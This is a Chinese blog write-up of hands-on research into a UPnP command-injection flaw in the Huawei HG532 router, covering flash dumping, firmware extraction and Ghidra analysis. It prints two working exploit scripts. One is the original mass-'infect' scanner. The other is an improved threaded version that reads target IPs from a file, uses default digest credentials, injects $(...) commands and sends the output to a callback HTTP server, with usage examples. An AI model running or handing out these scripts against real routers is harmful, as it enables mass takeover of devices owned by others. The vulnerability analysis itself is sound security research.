Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

该漏洞是个命令注入漏洞,在路由器的UPnP协议(在37215端口监听)的处理上存在缺陷导致这个漏洞发生

连接路由器,下载POC并尝试打通

插入路由器电源,以及LAN口连到电脑上:

默认网关是192.168.1.1

对应POC网站:Huawei Router HG532 - Arbitrary Command Execution - Hardware webapps Exploit

下载后运行,依旧是无法直接打通。先分析一下这个漏洞的成因

漏洞点分析

为了保持真机测试的条件,现尝试通过真机dump固件下来:

首先需要找到SPI FLASH芯片

电路板上该芯片写着winbond 25Q32BVSIG1316

说明这是一颗华邦的spi flash芯片,容量32megabit(4MB),2013 年第 16 周生产

同时可以看到左下角有一个小圆点,说明该位置是一号引脚

是8引脚,准备用SOP8夹子夹起这颗芯片

确保CH41的引脚没有接反接错后尝试用neoprogrammer读取 (需要先下载好CH341驱动)

成功读取到芯片

可以看到现在读取成功并且校验成功,保存该固件

接下来使用binwalk扫描:

1
binwalk -Me HG532_W25Q32.bin

发现没有叫sasquatch的工具,下载一个再进行binwalk

这次成功提取

漏洞成因是在UPnP协议上,查看bin里面的UPnP

是MIPS的程序于是用Ghidra反汇编

ATP_XML_GetChildNodeByName从传入的XML中寻找标签名NewDownloadURL、NewStatusURL节点的内容

strstr只是检查了41c里是否包含 “://“ 能很容易绕过

然后下面的snprintf函数直接用%s拼接local_420和local_41c

如果在local_420或local_41c里存在$(…)的命令,就会先解析括号里的命令,从而导致RCE

再分析一下原exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n   <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n   <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n   <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n   </s:Body>\n   </s:Envelope>"

class exploit(threading.Thread):
def __init__ (self, ip):
threading.Thread.__init__(self)
self.ip = str(ip).rstrip('\n')
def run(self):
try:
url = "http://" + self.ip + ":37215/ctrlt/DeviceUpgrade_1"
requests.post(url, timeout=5, auth=HTTPDigestAuth('dslf-config', 'admin'), data=rm)
print "[SOAP] Attempting to infect " + self.ip
except Exception as e:
pass

for ip in ips:
try:
n = exploit(ip)
n.start()
time.sleep(0.03)
except:
pass

ips是放在文件的多个ip地址,方便最后的循环进行多个ip的攻击

变量rm是构造的SOAP XML报文,注入了$() 包裹的命令

url以及后续的post是在37215upnp端口调用DeviceUpgrade动作,发送post请求,然后将伪造的XML给函数识别

经过分析是缺少了协议头,需要在post的时候把头部也传上去

改进后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import threading, sys, time, requests
from requests.auth import HTTPDigestAuth
from xml.sax.saxutils import escape

# 用法:
# 1) 盲执行: python 43414.py target.txt "reboot"
# 2) 回显到你本机HTTP日志: python 43414.py target.txt "cat /flag" 192.168.1.2 8000
#监听:python -m http.server 8000
if len(sys.argv) < 3:
   print('Usage: python 43414.py <targets_file> "<cmd>" [callback_ip] [callback_port]')
   sys.exit(1)

targets_file = sys.argv[1]
cmd = sys.argv[2]
callback_ip = sys.argv[3] if len(sys.argv) >= 4 else None
callback_port = int(sys.argv[4]) if len(sys.argv) >= 5 else 8000

ips = [x.strip() for x in open(targets_file, "r", encoding="utf-8", errors="ignore") if x.strip()]

def build_soap(cmd_text: str):
   # 关键点:两个参数都要是合法 URL,注入放 NewDownloadURL 更稳
   if callback_ip:
       status_url = f"http://{callback_ip}:{callback_port}/status"
       download_url = f"http://{callback_ip}:{callback_port}/$({cmd_text})"
   else:
       status_url = "http://example.com/status"
       download_url = f"http://example.com/$({cmd_text})"

   return (
       '<?xml version="1.0"?>'
       '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" '
       's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">'
       '<s:Body>'
       '<u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">'
       f'<NewStatusURL>{escape(status_url)}</NewStatusURL>'
       f'<NewDownloadURL>{escape(download_url)}</NewDownloadURL>'
       '</u:Upgrade>'
       '</s:Body>'
       '</s:Envelope>'
  )

headers = {
   "Content-Type": 'text/xml; charset="utf-8"',
   "SOAPAction": '"urn:schemas-upnp-org:service:WANPPPConnection:1#Upgrade"',
}

class Exploit(threading.Thread):
   def __init__(self, ip):
       super().__init__()
       self.ip = ip

   def run(self):
       try:
           url = f"http://{self.ip}:37215/ctrlt/DeviceUpgrade_1"
           data = build_soap(cmd)
           r = requests.post(
               url,
               timeout=8,
               auth=HTTPDigestAuth("dslf-config", "admin"),
               data=data,
               headers=headers,
          )
           print(f"[{self.ip}] HTTP {r.status_code}")
           print(f"[{self.ip}] {r.text[:200].replace(chr(10), ' ')}")
       except Exception as e:
           print(f"[ERROR] {self.ip}: {e}")

threads = []
for ip in ips:
   t = Exploit(ip)
   t.start()
   threads.append(t)
   time.sleep(0.1)

for t in threads:
   t.join()

用新窗口来接收回显

1
python 43414.py target.txt "ls" 192.168.1.2 8000

可以看到只收到了个var,说明在回显的时候遇到空格或换行会截断

需要换一个命令:

1
python3 43414.py target.txt "for f in $(ls); do echo -n ${f}_; done" 192.168.1.2 8000

不换行,把空格替换成下划线:

这次就有回显了

本来打算连接uart串口调试,但是这台设备的串口不自带引脚,需要焊接工具,暂时先搁置。。原因是:

评论